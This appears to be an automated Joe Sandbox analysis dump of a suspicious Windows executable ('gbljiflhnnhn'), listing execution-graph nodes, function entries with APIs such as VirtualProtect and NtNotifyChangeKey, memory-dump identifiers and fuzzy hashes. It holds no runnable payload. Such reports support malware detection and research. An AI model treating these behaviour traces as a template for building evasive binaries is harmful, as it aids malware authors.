4209->4210 4210->3548 4215 7ff7de5a1000 4216 7ff7de5a108b __set_app_type 4215->4216 4217 7ff7de5a1040 4215->4217 4219 7ff7de5a10b6 4216->4219 4217->4216 4218 7ff7de5a10e5 4219->4218 4221 7ff7de5a1e00 4219->4221 4222 7ff7de5a88c0 __setusermatherr 4221->4222 4223 7ff7de5a1800 4224 7ff7de5a1812 4223->4224 4225 7ff7de5a1835 fprintf 4224->4225 4296 7ff7de5a2320 strlen 4297 7ff7de5a2337 4296->4297 4226 7ff7de5a2104 4227 7ff7de5a2111 EnterCriticalSection 4226->4227 4228 7ff7de5a2218 4226->4228 4230 7ff7de5a220b LeaveCriticalSection 4227->4230 4233 7ff7de5a212e 4227->4233 4229 7ff7de5a2272 4228->4229 4232 7ff7de5a2241 DeleteCriticalSection 4228->4232 4234 7ff7de5a2230 free 4228->4234 4230->4228 4231 7ff7de5a214d TlsGetValue GetLastError 4231->4233 4232->4229 4233->4230 4233->4231 4234->4232 4234->4234 4252 7ff7de5a1e65 4253 7ff7de5a1e67 signal 4252->4253 4254 7ff7de5a1e7c 4253->4254 4256 7ff7de5a1e99 4253->4256 4255 7ff7de5a1e82 signal 4254->4255 4254->4256 4255->4256 4298 7ff7de5a219e 4299 7ff7de5a2272 4298->4299 4300 7ff7de5a21ab EnterCriticalSection 4298->4300 4301 7ff7de5a2265 LeaveCriticalSection 4300->4301 4302 7ff7de5a21c8 4300->4302 4301->4299 4302->4301 4303 7ff7de5a21e9 TlsGetValue GetLastError 4302->4303 4303->4302 4235 7ff7de5a1e10 4236 7ff7de5a1e2f 4235->4236 4237 7ff7de5a1eb5 4236->4237 4238 7ff7de5a1ecc 4236->4238 4241 7ff7de5a1e55 4236->4241 4238->4237 4239 7ff7de5a1ed3 signal 4238->4239 4239->4237 4240 7ff7de5a1ee4 4239->4240 4240->4237 4242 7ff7de5a1eea signal 4240->4242 4241->4237 4243 7ff7de5a1f12 signal 4241->4243 4242->4237 4243->4237 4257 7ff7de5a1a70 4258 7ff7de5a199e 4257->4258 4261 7ff7de5a1a7d 4257->4261 4259 7ff7de5a1a0f 4258->4259 4260 7ff7de5a19e9 VirtualProtect 4258->4260 4260->4258 4273 7ff7de5a2050 4274 7ff7de5a20cf 4273->4274 4275 7ff7de5a205e EnterCriticalSection 4273->4275 4276 7ff7de5a20c2 LeaveCriticalSection 4275->4276 4277 7ff7de5a2079 4275->4277 4276->4274 4277->4276 4278 7ff7de5a20bd free 4277->4278 4278->4276 4279 7ff7de5a1fd0 4280 7ff7de5a1fe4 4279->4280 4281 7ff7de5a2033 4279->4281 4280->4281 4282 7ff7de5a1ffd EnterCriticalSection LeaveCriticalSection 4280->4282 4282->4281 4262 7ff7de5a216f 4263 7ff7de5a2185 4262->4263 4264 7ff7de5a2178 InitializeCriticalSection 4262->4264 4264->4263 4211 7ff7de5a1394 4212 7ff7de5a8330 malloc 4211->4212 4213 7ff7de5a13b8 4212->4213 4214 7ff7de5a13c6 NtNotifyChangeKey 4213->4214 4304 7ff7de5a1ab3 4305 7ff7de5a1ade 4304->4305 4306 7ff7de5a1b36 4305->4306 4309 7ff7de5a199e 4305->4309 4310 7ff7de5a1a0f 4305->4310 4307 7ff7de5a1ba0 4 API calls 4306->4307 4308 7ff7de5a1b53 4307->4308 4309->4310 4311 7ff7de5a19e9 VirtualProtect 4309->4311 4311->4309 4291 7ff7de5a1f47 4292 7ff7de5a1e67 signal 4291->4292 4295 7ff7de5a1e99 4291->4295 4293 7ff7de5a1e7c 4292->4293 4292->4295 4294 7ff7de5a1e82 signal 4293->4294 4293->4295 4294->4295

                                                              Executed Functions

                                                              Function 00007FF7DE5A1160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000018.00000002.1386781058.00007FF7DE5A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7DE5A0000, based on PE: true
                                                              • Associated: 00000018.00000002.1386750766.00007FF7DE5A0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386801888.00007FF7DE5A9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386820831.00007FF7DE5AB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1387007267.00007FF7DE824000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_24_2_7ff7de5a0000_gbljiflhnnhn.jbxd
                                                              Similarity
                                                              • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                              • String ID:
                                                              • API String ID: 2643109117-0
                                                              • Opcode ID: 483d001c97a7ea85cdae413bbec331dacbfcacd9846df1f84366e4dc8b9f73c0
                                                              • Instruction ID: 3e8ef8bda6b8f0ebdde3f696d22def298ead829ee9bfd43a24d4e533597480aa
                                                              • Opcode Fuzzy Hash: 483d001c97a7ea85cdae413bbec331dacbfcacd9846df1f84366e4dc8b9f73c0
                                                              • Instruction Fuzzy Hash: A8511665E09A4A85F612BB16EF6477DE7A1BF897D0FC45433CA0E473A1DE2CB8518320
                                                              Function 00007FF7DE5A1394 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • NtNotifyChangeKey.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7DE5A1156), ref: 00007FF7DE5A13F7
                                                              Memory Dump Source
                                                              • Source File: 00000018.00000002.1386781058.00007FF7DE5A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7DE5A0000, based on PE: true
                                                              • Associated: 00000018.00000002.1386750766.00007FF7DE5A0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386801888.00007FF7DE5A9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386820831.00007FF7DE5AB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1387007267.00007FF7DE824000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_24_2_7ff7de5a0000_gbljiflhnnhn.jbxd
                                                              Similarity
                                                              • API ID: ChangeNotify
                                                              • String ID:
                                                              • API String ID: 3893256919-0
                                                              • Opcode ID: de85e3c4d628d33e879659df1e71a7dc238c17b1dde7bdcd31813a6ba6a8a804
                                                              • Instruction ID: 57ee6bbc931dc43916a7918dc8eee1598aacc6758bf79b4140f39146960be87d
                                                              • Opcode Fuzzy Hash: de85e3c4d628d33e879659df1e71a7dc238c17b1dde7bdcd31813a6ba6a8a804
                                                              • Instruction Fuzzy Hash: F9F0C971908B4982DA65EB51FD6002EB7A0FB483C4F804436E99E43725EF3CF0508BA0

                                                              Non-executed Functions

                                                              Function 00007FF7DE5A3350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000018.00000002.1386781058.00007FF7DE5A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7DE5A0000, based on PE: true
                                                              • Associated: 00000018.00000002.1386750766.00007FF7DE5A0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386801888.00007FF7DE5A9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386820831.00007FF7DE5AB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1387007267.00007FF7DE824000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_24_2_7ff7de5a0000_gbljiflhnnhn.jbxd
                                                              Similarity
                                                              • API ID: memset$wcscatwcscpywcslen
                                                              • String ID: $0$0$@$@
                                                              • API String ID: 4263182637-1413854666
                                                              • Opcode ID: d5aa8bc79ef38d887bbf49588082acdc49f343413a4b5a32b456813d35dc3de7
                                                              • Instruction ID: e0c94de8719e472d4efea686e588a1a527c4880878c751345ea6d342bce41510
                                                              • Opcode Fuzzy Hash: d5aa8bc79ef38d887bbf49588082acdc49f343413a4b5a32b456813d35dc3de7
                                                              • Instruction Fuzzy Hash: 22B1712190C6C685F322AB24E9553BEF7A0FF84388FC05136EA8E56A95DF7DE145CB10
                                                              Function 00007FF7DE5A2690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000018.00000002.1386781058.00007FF7DE5A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7DE5A0000, based on PE: true
                                                              • Associated: 00000018.00000002.1386750766.00007FF7DE5A0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386801888.00007FF7DE5A9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386820831.00007FF7DE5AB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1387007267.00007FF7DE824000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_24_2_7ff7de5a0000_gbljiflhnnhn.jbxd
                                                              Similarity
                                                              • API ID: wcslen$memsetwcscatwcscpywcsncmp
                                                              • String ID: 0$X$`
                                                              • API String ID: 329590056-2527496196
                                                              • Opcode ID: 38b92d864084d395b3f728c4c4a66371dc91d3a5f3a1b5f068707b6aa3dd9f5b
                                                              • Instruction ID: 38b400c4e09c880349c98257bd123bbbe3bc38a24f42b68b7b546fb8d9c29f5a
                                                              • Opcode Fuzzy Hash: 38b92d864084d395b3f728c4c4a66371dc91d3a5f3a1b5f068707b6aa3dd9f5b
                                                              • Instruction Fuzzy Hash: C802A022908B8685E722AF19E8153AEF7A4FB857A4FC05236DA9D037E5DF3CE145C710
                                                              Function 00007FF7DE5A1BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • VirtualQuery.KERNEL32(?,?,?,?,00007FF7DE5AA4E0,00007FF7DE5AA4E0,?,?,00007FF7DE5A0000,?,00007FF7DE5A1991), ref: 00007FF7DE5A1C63
                                                              • VirtualProtect.KERNEL32(?,?,?,?,00007FF7DE5AA4E0,00007FF7DE5AA4E0,?,?,00007FF7DE5A0000,?,00007FF7DE5A1991), ref: 00007FF7DE5A1CC7
                                                              • memcpy.MSVCRT ref: 00007FF7DE5A1CE0
                                                              • GetLastError.KERNEL32(?,?,?,?,00007FF7DE5AA4E0,00007FF7DE5AA4E0,?,?,00007FF7DE5A0000,?,00007FF7DE5A1991), ref: 00007FF7DE5A1D23
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000018.00000002.1386781058.00007FF7DE5A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7DE5A0000, based on PE: true
                                                              • Associated: 00000018.00000002.1386750766.00007FF7DE5A0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386801888.00007FF7DE5A9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386820831.00007FF7DE5AB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1387007267.00007FF7DE824000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_24_2_7ff7de5a0000_gbljiflhnnhn.jbxd
                                                              Similarity
                                                              • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                              • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                              • API String ID: 2595394609-2123141913
                                                              • Opcode ID: b9cf4c7c082357fedaf16df8113a2eb3f96de575783d0c65671edc6e95d0029c
                                                              • Instruction ID: 9d5be16bc143b3201e3fbe1c082a2b0b8934be6be66a753c13522326ab384071
                                                              • Opcode Fuzzy Hash: b9cf4c7c082357fedaf16df8113a2eb3f96de575783d0c65671edc6e95d0029c
                                                              • Instruction Fuzzy Hash: A5418FB1A09A5B81EA52AB15DE646BCA7A0EB95BC0FD44533CE0F477A1DE3CF541C320
                                                              Function 00007FF7DE5A8330 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 185COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 625 7ff7de5a8330-7ff7de5a834c 626 7ff7de5a834e 625->626 627 7ff7de5a837b-7ff7de5a839f call 7ff7de5a8320 625->627 628 7ff7de5a8355-7ff7de5a835a 626->628 632 7ff7de5a85c6-7ff7de5a85d8 627->632 634 7ff7de5a83a5-7ff7de5a83b9 call 7ff7de5a8320 627->634 630 7ff7de5a8360-7ff7de5a8363 628->630 630->632 633 7ff7de5a8369-7ff7de5a836f 630->633 633->630 635 7ff7de5a8371-7ff7de5a8376 633->635 638 7ff7de5a83cf-7ff7de5a83e1 634->638 635->632 639 7ff7de5a83c3-7ff7de5a83cd 638->639 640 7ff7de5a83e3-7ff7de5a83fd call 7ff7de5a8320 638->640 639->638 641 7ff7de5a8425-7ff7de5a8428 639->641 645 7ff7de5a83ff-7ff7de5a8421 call 7ff7de5a8320 * 2 640->645 646 7ff7de5a83c0 640->646 641->632 643 7ff7de5a842e-7ff7de5a845a call 7ff7de5a8320 malloc 641->643 651 7ff7de5a8460-7ff7de5a8462 643->651 652 7ff7de5a85bc 643->652 645->639 657 7ff7de5a8423 645->657 646->639 651->652 654 7ff7de5a8468-7ff7de5a8498 call 7ff7de5a8320 * 2 651->654 652->632 661 7ff7de5a84a0-7ff7de5a84b7 654->661 657->643 662 7ff7de5a8593-7ff7de5a859b 661->662 663 7ff7de5a84bd-7ff7de5a84c3 661->663 666 7ff7de5a85a6-7ff7de5a85b4 662->666 667 7ff7de5a859d-7ff7de5a85a0 662->667 664 7ff7de5a8512 663->664 665 7ff7de5a84c5-7ff7de5a84e3 call 7ff7de5a8320 663->665 670 7ff7de5a8517-7ff7de5a8559 call 7ff7de5a8320 * 2 664->670 673 7ff7de5a84f0-7ff7de5a850e 665->673 666->628 669 7ff7de5a85ba 666->669 667->661 667->666 669->632 678 7ff7de5a8588-7ff7de5a858f 670->678 679 7ff7de5a855b 670->679 673->673 675 7ff7de5a8510 673->675 675->670 678->662 680 7ff7de5a8560-7ff7de5a856c 679->680 681 7ff7de5a8583 680->681 682 7ff7de5a856e-7ff7de5a8581 680->682 681->678 682->680 682->681
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000018.00000002.1386781058.00007FF7DE5A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7DE5A0000, based on PE: true
                                                              • Associated: 00000018.00000002.1386750766.00007FF7DE5A0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386801888.00007FF7DE5A9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386820831.00007FF7DE5AB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1387007267.00007FF7DE824000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_24_2_7ff7de5a0000_gbljiflhnnhn.jbxd
                                                              Similarity
                                                              • API ID: malloc
                                                              • String ID: +y8$0y8$Hy8$Ly8$Py8$hy8
                                                              • API String ID: 2803490479-1442976025
                                                              • Opcode ID: 425f2fca943d939952a6c97103ec7a3f9c2da4f6fd0ea0b60d3b9a05132e9f6c
                                                              • Instruction ID: 6631ec747ae325e8544c921ea212e81f098c2b18e8316559a932bfb387d90aa0
                                                              • Opcode Fuzzy Hash: 425f2fca943d939952a6c97103ec7a3f9c2da4f6fd0ea0b60d3b9a05132e9f6c
                                                              • Instruction Fuzzy Hash: 6071B232E085098BDB56BB15AD2467EB6D1FB58BC8FC41176DE0B47780EE38F8448760
                                                              Function 00007FF7DE5A2104 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000018.00000002.1386781058.00007FF7DE5A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7DE5A0000, based on PE: true
                                                              • Associated: 00000018.00000002.1386750766.00007FF7DE5A0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386801888.00007FF7DE5A9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386820831.00007FF7DE5AB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1387007267.00007FF7DE824000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_24_2_7ff7de5a0000_gbljiflhnnhn.jbxd
                                                              Similarity
                                                              • API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
                                                              • String ID:
                                                              • API String ID: 3326252324-0
                                                              • Opcode ID: 9e8433c03ae159392f29a05ef80e1fcff1fa50bf88d8dc86b377ffb6d18cf162
                                                              • Instruction ID: 69ad3f59fd7932776777f5c75a561cbc17a8127670371d24fefe8b0a31239720
                                                              • Opcode Fuzzy Hash: 9e8433c03ae159392f29a05ef80e1fcff1fa50bf88d8dc86b377ffb6d18cf162
                                                              • Instruction Fuzzy Hash: 2621B725E9990681FA67AB01AE6537DE2A1AF14BD0FC41133C91F47EA4DF2DB8568320
                                                              Function 00007FF7DE5A1E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 730 7ff7de5a1e10-7ff7de5a1e2d 731 7ff7de5a1e2f-7ff7de5a1e38 730->731 732 7ff7de5a1e3e-7ff7de5a1e48 730->732 731->732 733 7ff7de5a1f60-7ff7de5a1f69 731->733 734 7ff7de5a1ea3-7ff7de5a1ea8 732->734 735 7ff7de5a1e4a-7ff7de5a1e53 732->735 734->733 738 7ff7de5a1eae-7ff7de5a1eb3 734->738 736 7ff7de5a1e55-7ff7de5a1e60 735->736 737 7ff7de5a1ecc-7ff7de5a1ed1 735->737 736->734 741 7ff7de5a1f23-7ff7de5a1f2d 737->741 742 7ff7de5a1ed3-7ff7de5a1ee2 signal 737->742 739 7ff7de5a1eb5-7ff7de5a1eba 738->739 740 7ff7de5a1efb-7ff7de5a1f0a call 7ff7de5a88d0 738->740 739->733 743 7ff7de5a1ec0 739->743 740->741 751 7ff7de5a1f0c-7ff7de5a1f10 740->751 744 7ff7de5a1f2f-7ff7de5a1f3f 741->744 745 7ff7de5a1f43-7ff7de5a1f45 741->745 742->741 746 7ff7de5a1ee4-7ff7de5a1ee8 742->746 743->741 752 7ff7de5a1f5a 744->752 745->733 748 7ff7de5a1eea-7ff7de5a1ef9 signal 746->748 749 7ff7de5a1f4e-7ff7de5a1f53 746->749 748->733 749->752 753 7ff7de5a1f12-7ff7de5a1f21 signal 751->753 754 7ff7de5a1f55 751->754 752->733 753->733 753->741 754->752
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000018.00000002.1386781058.00007FF7DE5A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7DE5A0000, based on PE: true
                                                              • Associated: 00000018.00000002.1386750766.00007FF7DE5A0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386801888.00007FF7DE5A9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386820831.00007FF7DE5AB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1387007267.00007FF7DE824000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_24_2_7ff7de5a0000_gbljiflhnnhn.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: CCG
                                                              • API String ID: 0-1584390748
                                                              • Opcode ID: 37e9e04d5f7087407a06b6e4461cbe3a298d8138f59abe5995483bee079d44a2
                                                              • Instruction ID: f1dc167cf1b0fe8c64b0a944e75f6a57e592cf5a1f4e9cff82156da60036f23a
                                                              • Opcode Fuzzy Hash: 37e9e04d5f7087407a06b6e4461cbe3a298d8138f59abe5995483bee079d44a2
                                                              • Instruction Fuzzy Hash: DB217CA5E0818A41FA6772149FA037D92819F847E4FE58533DE1F472D5DE2CB8818275
                                                              Function 00007FF7DE5A1880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7DE5A1247), ref: 00007FF7DE5A19F9
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000018.00000002.1386781058.00007FF7DE5A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7DE5A0000, based on PE: true
                                                              • Associated: 00000018.00000002.1386750766.00007FF7DE5A0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386801888.00007FF7DE5A9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386820831.00007FF7DE5AB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1387007267.00007FF7DE824000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_24_2_7ff7de5a0000_gbljiflhnnhn.jbxd
                                                              Similarity
                                                              • API ID: ProtectVirtual
                                                              • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                              • API String ID: 544645111-395989641
                                                              • Opcode ID: ac59ae2707865fe17bf5e231beda17e81318ac2957b213d9ca17d20232509cef
                                                              • Instruction ID: fc6ee38ac6d4f01751b6ffb143e0f8f64c44794258dd83342e05358ac58a1bfc
                                                              • Opcode Fuzzy Hash: ac59ae2707865fe17bf5e231beda17e81318ac2957b213d9ca17d20232509cef
                                                              • Instruction Fuzzy Hash: F6516B75A0855AC6EB22AB25EE507BCA761BB15BD4FC44133D91E0B7A4CE3CF492C720
                                                              Function 00007FF7DE5A1800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 788 7ff7de5a1800-7ff7de5a1810 789 7ff7de5a1812-7ff7de5a1822 788->789 790 7ff7de5a1824 788->790 791 7ff7de5a182b-7ff7de5a1867 call 7ff7de5a2290 fprintf 789->791 790->791
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000018.00000002.1386781058.00007FF7DE5A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7DE5A0000, based on PE: true
                                                              • Associated: 00000018.00000002.1386750766.00007FF7DE5A0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386801888.00007FF7DE5A9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386820831.00007FF7DE5AB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1387007267.00007FF7DE824000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_24_2_7ff7de5a0000_gbljiflhnnhn.jbxd
                                                              Similarity
                                                              • API ID: fprintf
                                                              • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                              • API String ID: 383729395-3474627141
                                                              • Opcode ID: a9e8b2d3853f6fda864bc8311a2957073dac159bbf77dfb4c47069528915fdaa
                                                              • Instruction ID: caa2e3f027ef31d0da0ece165f825e0b7bc6178029491314377de586307686de
                                                              • Opcode Fuzzy Hash: a9e8b2d3853f6fda864bc8311a2957073dac159bbf77dfb4c47069528915fdaa
                                                              • Instruction Fuzzy Hash: 92F0C211E08A5982E612BB24AF510BDE361EF4A7C0FC09232DE4F97651DF2CF1828310
                                                              Function 00007FF7DE5A219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000018.00000002.1386781058.00007FF7DE5A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7DE5A0000, based on PE: true
                                                              • Associated: 00000018.00000002.1386750766.00007FF7DE5A0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386801888.00007FF7DE5A9000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1386820831.00007FF7DE5AB000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                              • Associated: 00000018.00000002.1387007267.00007FF7DE824000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_24_2_7ff7de5a0000_gbljiflhnnhn.jbxd
                                                              Similarity
                                                              • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                              • String ID:
                                                              • API String ID: 682475483-0
                                                              • Opcode ID: e55f7eb9b2018997419ecd15c69435c633d9e1b7412eaef4a7dbf862a17f4240
                                                              • Instruction ID: 2bd20e3ab46b3aeb553c88b81eb321778bc3a5485dd5ade7fed3cb798898aae6
                                                              • Opcode Fuzzy Hash: e55f7eb9b2018997419ecd15c69435c633d9e1b7412eaef4a7dbf862a17f4240
                                                              • Instruction Fuzzy Hash: 9301DA29A4990681E657BB11AE2527CE261BF04BD0FC45133CA1F43E94DF2DB9A68320

                                                              Execution Graph

                                                              Execution Coverage:2.4%
                                                              Dynamic/Decrypted Code Coverage:0%
                                                              Signature Coverage:0%
                                                              Total number of Nodes:848
                                                              Total number of Limit Nodes:2
                                                              execution_graph 2838 140001ac3 2844 140001a70 2838->2844 2839 14000199e 2842 140001a0f 2839->2842 2843 1400019e9 VirtualProtect 2839->2843 2840 140001b36 2841 140001ba0 4 API calls 2840->2841 2845 140001b53 2841->2845 2843->2839 2844->2839 2844->2840 2844->2845 1992 140001ae4 1993 140001a70 1992->1993 1994 14000199e 1993->1994 1995 140001b36 1993->1995 1998 140001b53 1993->1998 1997 140001a0f 1994->1997 1999 1400019e9 VirtualProtect 1994->1999 2000 140001ba0 1995->2000 1999->1994 2002 140001bc2 2000->2002 2001 140001c04 memcpy 2001->1998 2002->2001 2004 140001c45 VirtualQuery 2002->2004 2005 140001cf4 2002->2005 2004->2005 2009 140001c72 2004->2009 2006 140001d23 GetLastError 2005->2006 2007 140001d37 2006->2007 2008 140001ca4 VirtualProtect 2008->2001 2008->2006 2009->2001 2009->2008 2037 140001404 2110 140001394 2037->2110 2039 140001413 2040 140001394 2 API calls 2039->2040 2041 140001422 2040->2041 2042 140001394 2 API calls 2041->2042 2043 140001431 2042->2043 2044 140001394 2 API calls 2043->2044 2045 140001440 2044->2045 2046 140001394 2 API calls 2045->2046 2047 14000144f 2046->2047 2048 140001394 2 API calls 2047->2048 2049 14000145e 2048->2049 2050 140001394 2 API calls 2049->2050 2051 14000146d 2050->2051 2052 140001394 2 API calls 2051->2052 2053 14000147c 2052->2053 2054 140001394 2 API calls 2053->2054 2055 14000148b 2054->2055 2056 140001394 2 API calls 2055->2056 2057 14000149a 2056->2057 2058 140001394 2 API calls 2057->2058 2059 1400014a9 2058->2059 2060 140001394 2 API calls 2059->2060 2061 1400014b8 2060->2061 2062 140001394 2 API calls 2061->2062 2063 1400014c7 2062->2063 2064 140001394 2 API calls 2063->2064 2065 1400014d6 2064->2065 2066 1400014e5 2065->2066 2067 140001394 2 API calls 2065->2067 2068 140001394 2 API calls 2066->2068 2067->2066 2069 1400014ef 2068->2069 2070 1400014f4 2069->2070 2071 140001394 2 API calls 2069->2071 2072 140001394 2 API calls 2070->2072 2071->2070 2073 1400014fe 2072->2073 2074 140001503 2073->2074 2075 140001394 2 API calls 2073->2075 2076 140001394 2 API calls 2074->2076 2075->2074 2077 14000150d 2076->2077 2078 140001394 2 API calls 2077->2078 2079 140001512 2078->2079 2080 140001394 2 API calls 2079->2080 2081 140001521 2080->2081 2082 140001394 2 API calls 2081->2082 2083 140001530 2082->2083 2084 140001394 2 API calls 2083->2084 2085 14000153f 2084->2085 2086 140001394 2 API calls 2085->2086 2087 14000154e 2086->2087 2088 140001394 2 API calls 2087->2088 2089 14000155d 2088->2089 2090 140001394 2 API calls 2089->2090 2091 14000156c 2090->2091 2092 140001394 2 API calls 2091->2092 2093 14000157b 2092->2093 2094 140001394 2 API calls 2093->2094 2095 14000158a 2094->2095 2096 140001394 2 API calls 2095->2096 2097 140001599 2096->2097 2098 140001394 2 API calls 2097->2098 2099 1400015a8 2098->2099 2100 140001394 2 API calls 2099->2100 2101 1400015b7 2100->2101 2102 140001394 2 API calls 2101->2102 2103 1400015c6 2102->2103 2104 140001394 2 API calls 2103->2104 2105 1400015d5 2104->2105 2106 140001394 2 API calls 2105->2106 2107 1400015e4 2106->2107 2108 140001394 2 API calls 2107->2108 2109 1400015f3 